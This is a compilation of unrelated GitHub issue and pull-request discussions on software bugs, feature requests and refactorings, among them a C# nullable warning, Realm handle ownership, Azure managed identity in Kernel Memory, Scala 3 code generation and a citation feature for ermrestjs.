Clipper.Offset, C# : DoGroupOffset

Reviewing warnings in Rider, in this method, this line causes me to pause:
    Path64 p = pathIt.Current;

It is possible for this to assign a null to a non-nullable entity, it seems. Later on the code then queries for p.Count and if p is null, bad things would happen.

Hi Phil,
I'm not really sure what you're asking.
Here's the immediate context ...
while (pathIt.MoveNext())
{
  Path64 p = pathIt.Current;

So it seems to me that pathIt.Current will always be assigned otherwise pathIt.MoveNext() would return false.

Rider indicates that you could have pathIt.Current as null, and then p would be null. This causes a problem initially in that specific line because you'd need something like Path64? p = pathIt.Current; to allow that to be done. If you do that, though, it would cause the subsequent check against p.Count to fail with a null reference exception.
This is where I paused. Should pathIt.Current ever be null, what should this function do then? If it can't be null, there probably needs to be a specific indication in the code.
I'm not sure what the right approach is here, because in various other places the code does expect and manage null values for Path instances.

Rider indicates that you could have pathIt.Current as null, and then p would be null.

But I'm far from convinced that Rider is right in this instance (see my post above).

If you look at the code for the List that backs your entity (pathIt.Current):
      #nullable enable
      /// <summary>Gets the element at the current position of the enumerator.</summary>
      /// <returns>The element in the <see cref="T:System.Collections.Generic.List`1" /> at the current position of the enumerator.</returns>
      public T Current { get; }

If you look at the code for the List that backs your entity (pathIt.Current):

But MoveNext() returns false once Current is no longer in range.

So we can probably help the tool by asserting that .Current is never null with a check or
Path64 p = pathIt.Current!;


Add handle ownership again

This is a refactoring of our native handle hierarchy. A summary of the changes:

Introduces a method to release the native pointer to HandleBase<T>

The unowned version of the handle will not attach a native finalizer and the release method is a no-op.

Adds RootedHandleBase<T> that is owned by a Realm and it's lifetime is at most as long as the lifetime of the parent Realm.
Modifies all the realm types (list, results, object, query) to inherit from RootedHandleBase  and modifies their ctors to optionally pass in their parent Realm as root in case it's unowned.

The reason we only care about the unowned case is because that's a situation where the user doesn't have explicit control over the lifetime of the Realm instance.

RealmHandle cleans up all its children when released.

Supersedes https://github.com/realm/realm-dart/pull/528. I'd like to add more meaningful tests but those need to wait until the migrations PR is in.
Fixes #527
Fixes #837

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

115 of 122 (94.26%)  changed or added relevant lines in 8 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+6.06%) to 92.891%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

lib/src/list.dart
4
5
80.0%

lib/src/subscription.dart
3
4
75.0%

lib/src/scheduler.dart
1
3
33.33%

lib/src/native/realm_core.dart
80
83
96.39%

Totals

Change from base Build<PHONE_NUMBER>:
6.06%

Covered Lines:
392

Relevant Lines:
422

💛  - Coveralls

Do you think we may say something in the changelog about this change?

This should be purely internal, but I can add something to the internal section.

There are many places from the existing code that require two arguments, but only one is passed.

Yeah, that happened when I merged from master via the Github UI. Will fix it before merging.

Maybe this PR is the correct place to remove all the keepAlive methods. I think we don't need them anymore. @nielsenko ?

The keepAlive is necessary to make sure we don't get parts of the objects finalized mid-scope. I don't think this PR does anything that would allow us to remove them.


Support Managed Identity Authentication for AI Search

Context / Scenario
Hi team,
Our AI service is using Kernel Memory for retrieval part from Azure Cognitive Search (AI Search) memory. We are going to move from authentication using access key to managed identity as soon as possible.
Question
Have Kernel Memory support Managed Identity Authentication for AI Search yet? If yes, can we get more details on how to set it up, please? If not, can we get some ETA plan on when this feature can be delivered, please?

hello there, yes Managed Identities are supported, here's a quick example:
var builder = new KernelMemoryBuilder()
        .WithAzureAISearchMemoryDb(new AzureAISearchConfig { Auth = AzureAISearchConfig.AuthTypes.AzureIdentity })
        .WithAzureBlobsDocumentStorage(new AzureBlobsConfig { Auth = AzureBlobsConfig.AuthTypes.AzureIdentity })
        .WithAzureOpenAITextGeneration(new AzureOpenAIConfig { Auth = AzureOpenAIConfig.AuthTypes.AzureIdentity })
        .WithAzureOpenAITextEmbeddingGeneration(new AzureOpenAIConfig { Auth = AzureOpenAIConfig.AuthTypes.AzureIdentity })

Great, thank you so much your prompt reply.


Typo in Settings Template Util Field

https://github.com/cleveradssolutions/CAS-Unity/blob/f6a5c69818493523552acf5c3511084ae7b47606/Editor/CASEditorUtils.cs?plain=1#L42
There is a typo in the string, it should say settingsTemplate.gradle. This causes error prompts to appear in 2022.2+ despite enabling the settings template.

Thanks a lot for the fix.


Misleading error message for missing .yml file

Will be huge ordeal to improve that since it's many layers deep inside bokeh.

Can we put in a test earlier to short circuit it, i.e. explicitly check if the .yml file exists?

I'd strongly favor making a suggestion for improving the bokeh error message. To my eyes it's relatively clear.

My suggestion would be "File not found: C:\Users\Chris\dashboard.yaml". I have to infer from "Path" and "Bokeh server application" that it's saying that the file is not found; it isn't saying "file" and "Bokeh server application" sounds like it's about some internal browser machinery, not my Lumen app. Focusing on the actual specific problem, i.e. that it's trying to load a file and not finding it, seems like the way to communicate here.


buildOrder should use itemTotal instead of total

Type: minor
Describe the bug
This bug will only be apparent when you apply a discount for your order.
Placing the order with a discount applied fails with the error:

Client provided total price ${the discounted value with the discount applied twice} for order group, but actual total price is ${the discounted value}

To Reproduce
Steps to reproduce the behavior:

Add item to cart
Find your cart in the db, add discount: 10 to it
Go to checkout / refresh checkout and try to place your order
Get error

Expected behavior
There should be no error during checkout.
Additional context
The price check fails as the fulfillmentGroup is expected to have a total that does not include the discount. (For reference: updateGroupTotals.js#L77 in the orders plugin)
The storefront currently uses something that seems like a workaround, so every fulfillmentGroup has the the checkout total as totalPrice:
https://github.com/reactioncommerce/example-storefront/blob/develop/src/components/CheckoutActions/CheckoutActions.js#L230
(This certainly wouldn't work for multiple fulfillmentGroups during checkout.)
This will fail, as the checkout total already includes the total.
Instead, while keeping this workaround, this should use checkout.summary.itemTotal.amount instead of checkout.summary.total.amount

Hey, I'm facing the same problem, did you find any solution?


Support for Carthage

Carthage is another dependency manager for Cocoa system.

Are the existing languages stable now after ~4 Years?
What's the state here?


MWPW-155099 - renew banner

Resolves: MWPW-155099

In order to test this, accountExpiration in the partner_data cookie must be set
if the paths for different banners are set in metdata.xlsx, they will be used; otherwise the default path will be /edsdme/partners-shared/fragments/${banner-type} with a locale prefix if the country is not the US
currently, there are three types of banners: to recover a suspended account (active 90 days after expiration), for an account which expires in the next 24 hours, and for an account which expires in the next 30 days
mobile design is coverd

LINKS:
US page:
Before: https://stage--dme-partners--adobecom.hlx.page/channelpartners/drafts/dragana/announcements
After: https://mwpw-155099-renew-banner--dme-partners--adobecom.hlx.page/channelpartners/drafts/dragana/announcements
DE page:
Before: https://stage--dme-partners--adobecom.hlx.page/de/channelpartners/drafts/dragana/announcements
After: https://mwpw-155099-renew-banner--dme-partners--adobecom.hlx.page/de/channelpartners/drafts/dragana/announcements

Codecov Report
Attention: Patch coverage is 41.66667% with 42 lines in your changes missing coverage. Please review.

Project coverage is 81.28%. Comparing base (2754458) to head (8e6a563).

Files
Patch %
Lines

edsdme/scripts/utils.js
38.23%
42 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##            stage      #31      +/-   ##
==========================================
- Coverage   81.40%   81.28%   -0.13%
==========================================
  Files           7        7
  Lines        2614     2682      +68
==========================================
+ Hits         2128     2180      +52
- Misses        486      502      +16

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Define a PhysicalFunction with another one

We cannot use a PhysicalFunction in the definition of another one. The following MWE raises an error:
using Bcube
mesh = one_cell_mesh(:line)

ρ = PhysicalFunction(x -> 1.0)
ρu = PhysicalFunction(x -> ρ(x) * 2)

dΩ = Measure(CellDomain(mesh), 1)
@show Bcube.compute(∫(ρu)dΩ)

Of course to overcome this we can use an intermediate variable
_ρ(x) = 1
ρ = PhysicalFunction(x -> _ρ(x))
ρu = PhysicalFunction(x -> _ρ(x) * 2)

Actually I think it's not a bug and this is rather the expected behavior.

CellFunction can be evaluated at a CellPoint or a FacePoint because DomainStyle is defined for those points.
Here in:
PhysicalFunction(x -> ρ(x) * 2)

x is a SVector of coordinates for which DomainStyle is not defined, so evaluation of ρ(x) is not possible in the inner scope.
We can add a new feature to do so if we assume that x has the same DomainStyle as the CellFunction by default, but it will remove the "safety barriers" in a sense (and it could even be wrong if you compose ReferenceFunction with PhysicalFunction)

As CellFunction are AbstractLazy, you can also simply do:

ρ = PhysicalFunction(x -> 1.0)
ρu = 2 * ρ

I agree, the solution is simply what you suggested:
ρ = PhysicalFunction(x -> 1.0)
ρu = 2 * ρ

So no need to change anything.


Request: specify product_version based on regexes passed in from file

tl;dr
What I want to do is have the product_version configured in a product-name.yml file, which can be passed in to the pivnet resource on get steps as a param. This way the product_version can be dynamically pulled from a config repository rather than requiring a fly to be run on the pipeline.
problem
To download a specific version of a product, you have to provide a product_version regex pattern. This param is configured at "instantiation time", e.g., when you fly-up the pipeline.
use case
I am working on a project to do tile upgrades across my foundations. I have 3 foundations, sandbox, dev, and prod. I want my tile versions to be promoted through each foundation-- dev accepts the version that passed sandbox, prod accepts what passed dev.
Now, you could have a pipeline which ties all my foundations together and used passed: [sandbox] blocks to ensure the proper version gets passed. But you would have to put all my foundations in a single Concourse team & a single pipeline.yml. It's messy. Plus, what if I have a tile in sandbox that I don't want in dev and prod? Or what if I want to experiment with product-A-1.5.x in sandbox, but dev/prod are using product-A-1.4.x && I don't want to promote the sandbox version to dev? What if I want the option to continue promote product-A-1.4.x?
Okay, so here's my vision--
I want my upgrade-tile pipeline in sandbox to take the latest version of product-A-1.4.x, then when it successfully applies, I want it to write the version that successfully passed to a file, then use that file to create a GitHub pull request to the dev foundation config repo. A platform operator could then merge in those changes; then when stage-and-apply-changes runs in dev, it will use the product_version that was specified in the dev config repo.
Thank you for your time and consideration

We currently use the pivnet CLI for this. It would be great to have it supported in the resource.

We added this as a story to our internal Tracker.

Unfortunately concourse doesn't currently let you pass files to a get step. Only put can read a set of inputs, get is only passed an output directory: https://concourse-ci.org/implementing-resources.html. To allow get to pull a dynamic value from a file we'll have to wait until the dynamic build plan generation feature lands: https://github.com/concourse/concourse/issues/684. The only other alternative that I know of is doing a weird hack like put.params.action: get-stemcell.

Something like the file-downloader-resource appears promising. You feed it a git-based yml config repo and it pulls the corresponding pivnet product based on the content of the product-tile.yml file. It has the potential to solve my use-case, the only problem is it doesn't currently support wildcard * patterns for matching product versions.
Just something to keep an eye on.

Makes sense. I'm concerned the file-downloader-resource doesn't actually work in all cases. Specifically, if the files on Pivnet change behind the scenes, even though your git repo has the same config you could get different files downloaded.
Or, due to caching, you would get the same files as before even though they have changed behind the scenes. Either is potentially problematic.
As @ljfranklin says, this type of behavior isn't currently supported by Concourse until "Dynamic Build Plans" feature lands.

These are feature requests that bleed the versioning of a resource with the configuration of the resource. Versioning is a core concept built into Concourse, so that it can handle things like caching, version locking, and correct triggering.
Having a resource reading a dynamic configuration and then versioning off that can break things and cause inconsistent experiences. Also, not every resource can do this.
@aegershman, I'd ask, why you want an individual resource to do this, rather than having the primitives of a pipelines (ie get with a specific version)?
The process that you describe as "writing to file" can be solved by a checked in and versioning pipeline YAML. When the tile from sandbox passes, it could write to a vars file that is consumed by the dev/prod pipeline.
If you are doing credhub integration, you might even be able to not have to file -- if that is preferred.

That's exactly what we're doing right now, actually.

sandbox is configured to take the latest patch version available, e.g. x.y.*
When the tile is applied to sandbox, it creates a PR with the concrete version to git in the dev foundation folder.
When the PR is merged in to master, a separate pipeline takes the value from git and sets it in the pipeline for dev
Process continues for as many foundations are chained together

The whole purpose is to have everything be as automated as possible, with the only human interaction involved being a merge of an auto-generated PR to master.
But in order for the version to be set to whatever is in the contents of a params.yml file in git, there needs to be a separate pipeline which is listening for changes on the git repo & set the pipeline with the updated value. Having the automation re-fly the pipeline requires more moving parts and more credentials (for automation to login to concourse and set the pipelines).
Ultimately this might be undue complexity for the pivnet-resource; but just sharing my use case 👍


Switch to using cardano-git-rev from cardano-base repo

The version of cardano-git-rev in the cardano-base repo (ie CHaP) is a TH splice instead of a function, so it will always be executed/evaluated at the call site.
Changelog
- description: |
    Switch to using cardano-git-rev from cardano-base repo
# uncomment types applicable to the change:
  type:
  - maintenance    # not directly related to the code

Context
Additional context for the PR goes here. If the PR fixes a particular issue please provide a link to the issue.
How to trust this PR
Highlight important bits of the PR that will make the review faster. If there are commands the reviewer can run to observe the new behavior, describe them.
Checklist

[ ] Commit sequence broadly makes sense and commits have useful messages
[ ] New tests are added if needed and existing tests are updated. See Running tests for more details
[x] Self-reviewed the diff

Golden test failing needs this fix: https://github.com/IntersectMBO/cardano-cli/pull/655


CI: provisioning of k8s failed due to unable to lock directory /var/lib/apt/lists/

Observed: https://jenkins.cilium.io/job/cilium-master-Nightly/105/testReport/k8s-1/12/NightlyExamples_Upgrade_test_Update_Cilium_from_v1_2_to_master/
  k8s2-1.12: Could not get lock /var/lib/apt/lists/lock - open (11: Resource temporarily unavailable)
    k8s2-1.12: E
    k8s2-1.12: :
    k8s2-1.12: Unable to lock directory /var/lib/apt/lists/
The SSH command responded with a non-zero exit status. Vagrant
assumes that this means the command failed. The output for this command
should be in the log above. Please read the output to determine what
went wrong.

        ===================== ERROR - VM PROVISION FAILED =====================

        Unable to provision and start VM "k8s2-1.12": exit status 1", vm, err

        =======================================================================

All the subsequent tests from the same CI build failed with empty errors due to k8s being not provisioned.
223afe0b_NightlyExamples_Upgrade_test_Update_Cilium_from_v1.2_to_master.zip

One more: https://jenkins.cilium.io/job/Ginkgo-CI-Tests-Pipeline/5941/execution/node/87/log/


CrypToadz #4911 OutOfGas on Alchemy

This is the only token that will not resolve with Alchemy nodes:
https://opensea.io/assets/ethereum/0x1cb1a5e65610aeff2551a50f76a87a7d3fb649c6/4911
Oddly, this token resolves but is larger than the failing token:
https://opensea.io/assets/ethereum/0x1cb1a5e65610aeff2551a50f76a87a7d3fb649c6/3661

Fixed in 4a8ec9accd7ec5297a9735a1b65250b9c5a0882a


Enhancement Add wal space back pressure

Proposed changes
Issue Number: close #xxx

The current WAL is deleted after the transaction completes. I added a WAL space back pressure mechanism to control WAL disk usage. The default value is 64M.
Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall

run buildall

run buildall

LGTM

run buildall

run buildall


The value of each service endpoint displays empty on the Properties panel for one Name & Key attached storage account

Storage Explorer Version: 1.25.0-dev
Build Number: 20220719.17
Branch: main
Platform/OS: Windows 10/Linux Ubuntu 22.04/MacOS Monterey 12.4 (Apple M1 Pro)
Architecture: ia32/x64
How Found: From running test cases
Regression From: Previous release (1.24.3)
Steps to Reproduce

Select one storage account -> Right click the storage account.
Click 'Copy Primary Key' -> Open the connect dialog.
Attach the storage account via Account name and key.
Select the attached storage account -> Observe its Properties panel.
Check whether the value of each service endpoint displays well.

Expected Experience
The value of each service endpoint displays well.
Actual Experience
The value of each service endpoint displays empty.

Additional Context

Here is the screenshot for the original storage account:

Here is the screenshot on the previous release (1.24.3):

Hi @v-xianya I have merged a fix which hides the empty endpoints for name & key attached accounts.

Verified this issue on the build 20220722.2. Fixed.
The service endpoint has been hidden for name & key attached accounts.


CO2 emissions chart should show local and imported CO2 with separate colors

Since https://github.com/quintel/etmodel/issues/1835, a new dashboard item has been created to show the CO2 that is emitted locally (excluding CO2 of imported electricity). The chart currently associated with both CO2 dashboard items shows the total CO2 (including imported):

It would be instructive to split the CO2 emissions into two parts: local and imported. I have made the gqueries to accomplish this but the chart is a hard-coded custom one so adding them in the normal way does not affect the chart.

@ChaelKruip , somehow this new chart does not appear when I click on the 'Domestic (a.k.a. local) CO2 emission dashboard item. Do you know why?

@ChaelKruip , somehow this new chart does not appear when I click on the 'Domestic (a.k.a. local) CO2 emission dashboard item. Do you know why?

This is a custom chart that is defined in ETModel. I need @antw to change this. The queries to make the grey and blue parts of the above chart are in this commit.
Assigning to @antw.

On beta.

Very nice! :+1:

Forgot about the table view. :grimacing:
I'll get that fixed before the deploy.


New sensor mho-c201 with E-INK request support

Hi,
this sensor is not supported yet?
https://www.aliexpress.com/item/32854817316.html?spm=a2g0o.productlist.0.0.172c55efOZZveB&algo_pvid
mho-c201 E-INK sensor.

For instructions to add new devices to the component, please follow the procedure described here. Please report back the requested information, such that we can add the device.

This sensor doesn't have Bluetooth connectivity. It is a nice standalone sensor - I own a couple of these, but for Home Assistant integration you'll have to look up some of the Bluetooth enabled sensors like CGG1, LYWSD02 and the likes.

@shirou93 MHO-C201 is a "dumb" sensor, but there is now a Bluetooth-enabled version of it: MHO-C401:
https://www.aliexpress.com/item/4001174769598.html
I've just created a pull request, which adds support for the "smart" version of this sensor: #106

support for MHO-C401 is added in 0.6.11


feature: Add quota projectid to GoogleCredentials and introduce Envir…

…onemnt variable for quotaprojectid
Thank you for opening a Pull Request! Before submitting your PR, there are a few things you can do to make sure it goes smoothly:

[ ] Make sure to open an issue as a bug/issue before writing your code!  That way we can discuss the change, evaluate designs, and agree on the general idea
[ ] Ensure the tests and linter pass
[ ] Code coverage does not decrease (if any source code was changed)
[ ] Appropriate docs were updated (if necessary)

Fixes #<issue_number_goes_here> ☕
If you write sample code, please follow the samples format.

not needed anymore


Disappearing Mods

If I leave the program open, mods will eventually disappear from the list - enabled or otherwise; it doesn't matter - starting from the bottom and working its way up. This is not merely visual as trying to launch reveals that they are actually gone from the manager (the count of enabled mods is no longer the same as well). The longer the program is left open, the more mods that disappear. I've made it to "k" when sorted alphabetically on a list of 671
Restarting the program fixes this issue, but any mods that were enabled before and subsequently removed by the manager are now disabled. The inbuilt presets are also changed as attempting to use them results in the mods that were removed no longer being tracked in them. Thankfully user-defined presets still function in reenabling the restored mods.
Version: 1.40.1

Happens to me too, i need to unsub/resub for mods to reappear in the manager.

Seems to happen to me too.

This is happening to me as well. I can solve it by closing the mod manager  and re-launching it. It seems to happen if I filter my mods and then reset the filter. It also just sometimes happens if the mod manager is open forever. I'll try and grab the log file mentioned in the previous comment. I've got about 300 mods on the list.

It does indeed! By the way, I have identified the specific replication case (not that it matters now), but it was apparently caused by saving a mod which was not yet in the workshop. Each time I saved, one more mod disappeared. In the UI, the mod I updated would disappear momentarily and then come back. When it returned, the mod at the bottom of the list was gone.


Refactor/Optimization

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (1c72250) 100.00% compared to head (b33dea1) 100.00%.

Additional details and impacted files
@@            Coverage Diff            @@
##              main       #65   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           53        53
  Lines         1604      1606    +2
=========================================
+ Hits          1604      1606    +2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


List of UI bug in PE-D

Truncation of name: Unable to view full name of object if the name is very long

Priority: Very Low
[ ] #196
[ ] #183

GUI bug when scrolling student list

Priority: Medium
[ ] #185

Successful upload command does not refresh clippy

Note: could have other commands having this bug too, remember to check for those as well
Priority: Medium
[ ] #178

Help window not optimised for keyboard

Priority: Very Low
[ ] #190

Possible fix for (1):
Since showing the whole string is not a good idea either (might block the whole UI), maybe we can limit on the length of input and specify in UG


Add VarDictJava's experimental --fisher option to VarDictJavaEndToEnd

VarDictJava added a new feature to move some of the post-processing from R to Java in https://github.com/AstraZeneca-NGS/VarDictJava/pull/278. In that PR, they state that the R scripts will increase exponentially with larger VCF files, while the Java calculations do not. For a 3MB BAM they see no speedup, but for a 17GB BAM they save a couple hours, and for a 30GB BAM, they save a couple days.
This PR adds that option to the VarDictJavaEndToEnd pipeline.
I ran VarDictJavaEndToEnd on a couple smaller BAMs and these were the runtimes:

BAM size
Runtime using R Fisher
Runtime using Java Fisher

~13MB
11 seconds
11 seconds

~400MB
3.18 minutes
2.61 minutes

The only differences in the resulting VCF files were that the Java Fisher output uses decimal notation and the R version uses scientific notation.
< AF=3e-03
> AF=0.003

If the new option is used on an older version of VarDictJava, we get the following error (which is expected):
Exception in thread "main" org.apache.commons.cli.UnrecognizedOptionException: Unrecognized option: --fisher
	at org.apache.commons.cli.Parser.processOption(Parser.java:363)
	at org.apache.commons.cli.Parser.parse(Parser.java:199)
	at org.apache.commons.cli.Parser.parse(Parser.java:85)
	at com.astrazeneca.vardict.CmdParser.parseParams(CmdParser.java:31)
	at com.astrazeneca.vardict.Main.main(Main.java:13)

https://github.com/fulcrumgenomics/dagr/pull/378


sbt-twirl generates code that is no longer supported and/or deprecated in Scala 3

Scala version: 3.2.1
sbt-twirl version: 1.6.0-M7
The following issues are reported by Scala 3 compiler in the files generated by sbt-twirl:

_ is no longer supported for a wildcard import; use * instead
This construct can be rewritten automatically under -rewrite -source future-migration.

import _root_.play.twirl.api.TwirlFeatureImports._
import _root_.play.twirl.api.TwirlHelperImports._

Unless class BaseScalaTemplate is declared 'open', its extension in a separate file should be enabled by adding the import clause 'import scala.language.adhocExtensions' or by setting the compiler option -language:adhocExtensions.
See the Scala docs for value scala.language.adhocExtensions for a discussion why the feature should be explicitly enabled.

@tmiseikis Would you have time to provide a PR for this? @xuwei-k @tototoshi Maybe you?

To solve this problem, sbt-plugin and TwirlCompiler need to be able to select the version of Scala code that is generated from the template.
What I need to do is

to add a configuration key for sbt-plugin like generatedCodeScalaVersion
to make TwirlCompiler.compile generate the appropriate code for each version of Scala

Could this not be solved by:
templateImports  := TwirlCompiler.defaultImports(scalaVersion.value),

@ahjohannessen Thank you. I did exactly what you said.


master to live

Docs Build status updates of commit f479ad3:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

Advertising/bingads-13/guides/currencies.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


get citation feature

We should provide a menu option for users to get citation associated with each record..
A good example can be found here:
https://academic.oup.com/database/article/doi/10.1093/database/bav010/2433142

Would we expect to download the citation, or save it in the cutbuffer or something like that.
Also, I think it would be a UI nightmare to be able to generate a citation for something that is not dereferanceable via the resolver, so this again goes toward consolidating configuration for resolver into the catalog.
Carl
Sent from my iPad

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA x-apple-data-detectors://1/0  90292-6695x-apple-data-detectors://1/0
Phone:  +1<PHONE_NUMBER>tel:+1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Jul 23, 2018, at 3:52 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
We should provide a menu option for users to get citation associated with each record..
A good example can be found here:
https://academic.oup.com/database/article/doi/10.1093/database/bav010/2433142
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXic-YJzgt4RIzaG8-lToFpIPVTtTks5uJlOvgaJpZM4Vb0XM.

We will need to define a citation annoatation:
   tag:misd.isi.edu,2018:citation = <citation object>
Where <citation_object> consists of the following fields (based on bibtex terms):
  * author
  * title
  * journal
  * year
  * doi
  * url

Example
{
  author : {{{$fkeys.Protocol.Protocol_Principal_Investigator_fkey.values.Full_Name}}},
  journal: {{{$fkeys.Protocol.Protocol_Consortium_fkey.values.Name}}},
  title: "Experiment Protocol",
  doi:{{{Permanent_ID}}},
  URL:{{{Permanent_ID}}} or www.gudmap.org/id/{{{RID}}}
}

Should render to:
Carl Kesselman, Experiment Protocol, GUDMAP consortium, https://doi.org/123.4/A-BCDE.
@carlkesselman @karlcz @robes @ljpearlman what do you think?

Example of a bibtex
@article{doi:10.1093/database/bav010,
author = {Malladi, Venkat S. and Erickson, Drew T. and Podduturi, Nikhil R. and Rowe, Laurence D. and Chan, Esther T. and Davidson, Jean M. and Hitz, Benjamin C. and Ho, Marcus and Lee, Brian T. and Miyasato, Stuart and Roe, Gregory R. and Simison, Matt and Sloan, Cricket A. and Strattan, J. Seth and Tanaka, Forrest and Kent, W. James and Cherry, J. Michael and Hong, Eurie L.},
title = {Ontology application and use at the ENCODE DCC},
journal = {Database},
year = {2015},
doi = {10.1093/database/bav010},
URL = {http://dx.doi.org/10.1093/database/bav010},
}

It would seem that some of this wouldn’t make sense if I am generating a citation to just some row in a table, would it?  Author, year (actually timestamp) and URL would make sense, others probably not so much so?
Carl

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Aug 22, 2018, at 3:32 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
We will need to define a citation annoatation:
tag:misd.isi.eduhttp://misd.isi.edu,2018:citation =
Where <citation_object> consists of the following fields (based on bibtex terms):

author
title
journal
year
doi
url

Example
{
author : {{{$fkeys.Protocol.Protocol_Principal_Investigator_fkey.values.Full_Name}}},
journal: {{{$fkeys.Protocol.Protocol_Consortium_fkey.values.Name}}},
title: "Experiment Protocol",
doi:{{{Permanent_ID}}},
URL:{{{Permanent_ID}}} or www.gudmap.org/id/http://www.gudmap.org/id/{{{RID}}}
}
Should render to:
Carl Kesselman, Experiment Protocol, GUDMAP consortium, https://doi.org/123.4/A-BCDE.
@carlkesselmanhttps://github.com/carlkesselman @karlczhttps://github.com/karlcz @robeshttps://github.com/robes @ljpearlmanhttps://github.com/ljpearlman what do you think?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415204192, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXl3hsOJOKb0X4OQMn0RKvlDV1EJ2ks5uTdwFgaJpZM4Vb0XM.

Other fields are optional. For GUDMAP, we put the PI as the author, and likely to leave the title blank..

This is orthogonal I think.  We need to be building this from the perspective that these are light-weight citations that should be super easy to create and used pretty much anywhere/everywhere.  We should not be building in more complex metadata rules like who is the author.  Author is creator of the record, creation time is in the record.  Name could be a name field if it exists, etc.
If we really want to create a citation that would be referred to via say bibtex, we would go through a more structured publication process.
Carl

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Aug 22, 2018, at 4:25 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
Not necessary.. In some project, you might not want to disclose the owner. Also, the person that creates the record might not be the owner of the records e.g. we created many records for members.. And RCB is nullable.
Until the policy regarding the resolver is changed, unless there is an annotation, there won't be a citation.

From: Carl Kesselman <notifications<EMAIL_ADDRESS>Sent: Wednesday, August 22, 2018 4:17 PM
To: informatics-isi-edu/ermrestjs
Cc: Hongsuda Tangmunarunkit; Author
Subject: Re: [informatics-isi-edu/ermrestjs] get citation feature (#678)
I think given that we are looking at citation events for an entity, that perhaps the owner of the record as determined by the system column would be the appropriate value. My thinking is that we want everything to be easily citable. We want to encourage people creating and passing around RIDs rather then arbitrary URLs or dumping to dropbox.

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA 90292-6695
Phone: +1<PHONE_NUMBER>
Email: carl@isi.edumailto:carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Aug 22, 2018, at 3:54 PM, Hongsuda <notifications@github.commailto:notifications<EMAIL_ADDRESS>wrote:
Other fields are optional. For GUDMAP, we put the PI as the author, and likely to leave the title blank..
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415212491, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXupJdGtkee-JYhmIyxSifa_2y7VPks5uTeE-gaJpZM4Vb0XM.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415218253, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AAZUDNFr2h7YFu8K3VToaC4v4znaOcyzks5uTeaegaJpZM4Vb0XM.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/informatics-isi-edu/ermrestjs/issues/678#issuecomment-415219682, or mute the threadhttps://github.com/notifications/unsubscribe-auth/ADbjXv7Mp56Jr-8f4LdZmntrqxIyUNLFks5uTehRgaJpZM4Vb0XM.

I was thinking super simple here… we package up the RID, wrap it in the URI prefix (gudmap.org/id/XXX-XXXhttp://gudmap.org/id/XXX-XXX) and you’ve got your citation.  If we wanted to have an alternative where we download a record with some other data, ok.
Carl

Dr. Carl Kesselman
Dean’s Professor, Epstein Department of Industrial and Systems Engineering
Fellow, Information Sciences Institute
Viterbi School of Engineering
Professor, Preventive Medicine
Keck School of Medicine
University of Southern California
4676 Admiralty Way, Suite 1001, Marina del Rey, CA  90292-6695
Phone:  +1<PHONE_NUMBER>
Email:  carl<EMAIL_ADDRESS>Web: http://www.isi.edu/~carl
On Aug 22, 2018, at 4:25 PM, Hongsuda <notifications<EMAIL_ADDRESS>wrote:
Not necessary.. In some project, you might not want to disclose the owner. Also, the person that creates the record might not be the owner of the records e.g. we created many records for members.. And RCB is nullable.
Until the policy regarding the resolver is changed, unless there is an annotation, there won't be a citation.

